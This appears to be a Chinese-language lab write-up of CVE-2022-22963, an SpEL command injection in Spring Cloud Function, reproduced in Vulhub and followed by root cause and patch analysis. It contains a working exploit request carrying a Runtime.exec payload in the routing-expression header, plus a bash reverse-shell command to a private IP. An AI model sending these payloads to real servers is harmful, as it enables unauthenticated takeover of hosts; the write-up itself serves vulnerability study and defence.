CVE-2022-22963 Spring Cloud Function SpEL命令注入

一、简介

Spring Cloud Function 是基于 Spring Boot的函数计算框架。该项目致力于促进函数为主的开发单元,它抽象出所有传输细节和基础架构,并提供一个通用的模型,用于在各种平台上部署基于函数的软件。在Spring Cloud Function相关版本,存在SpEL表达式注入。恶意攻击者无需认证可通过构造特定的 HTTP 请求头注入 SpEL表达式,最终执行任意命令,获取服务器权限。

二、影响版本

3.0.0 <= Spring Cloud Function <= 3.2.2

三、漏洞复现

cd /vulhub/spring/CVE-2022-22963
docker-compose up -d

CVE-2022-22963 Spring Cloud Function SpEL命令注入_第1张图片

访问页面
CVE-2022-22963 Spring Cloud Function SpEL命令注入_第2张图片

数据包截取如下
CVE-2022-22963 Spring Cloud Function SpEL命令注入_第3张图片

修改数据包,将curl命令Base64加密
此处的路由是在Spring项目的application.properties中将spring.cloud.function.definition设置为functionRouter,视情况改动

POST /functionRouter HTTP/1.1
Content-Type: application/x-www-form-urlencoded
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,加密后的命令}|{base64,-d}|{bash,-i}")

CVE-2022-22963 Spring Cloud Function SpEL命令注入_第4张图片

ping back接收到消息,漏洞复现成功
在这里插入图片描述

四、漏洞利用

将上述命令更改为

bash -i >& /dev/tcp/192.168.16.129/1234 0>&1

后进行加密,传输数据
CVE-2022-22963 Spring Cloud Function SpEL命令注入_第5张图片

反弹shell成功
CVE-2022-22963 Spring Cloud Function SpEL命令注入_第6张图片

五、漏洞原理

Spring Cloud 是一系列框架的集合,内部包含了许多框架,这些框架互相协作,共同来构建分布式系统。利用这些组件,可以非常方便地构建一个分布式系统。SpringCloudFunction就是一个SpringBoot开发的Servless中间件(FAAS)。
官方文档中提到,通过设置spring.cloud.function.definition便可以使用户使用spring.cloud.function.routing-expression标头执行Spring表达语言SpEL。
https://docs.spring.io/spring-cloud-function/docs/3.2.2/reference/html/spring-cloud-function.html#_function_routing_and_filterin
CVE-2022-22963 Spring Cloud Function SpEL命令注入_第7张图片

便成为了SpEL注入的关键。

六、修复方式

查看DIFF
https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f
CVE-2022-22963 Spring Cloud Function SpEL命令注入_第8张图片

与上版本对比,对于SpEL的命令传入增加了“是否从header而来”的判断(isViaHeader),若是则调用的是新增的headerEvalContext方法;v3.2.2时不做判断直接调用StardardEvaluationContext,而v3.2.3调用SimpleEvaluationContext.
两者的区别在于前者支持 SpEL 表达式的全部特性,后者相当于一个沙盒,限制了很多功能,如对 Java 类的引用等。因此通过将 StandardEvaluationContext 类替换为 SimpleEvaluationContext 类,可以限制执行注入的 SpEL 表达式。

你可能感兴趣的:(漏洞复现,spring,cloud,spring,后端,安全,漏洞复现,网络安全)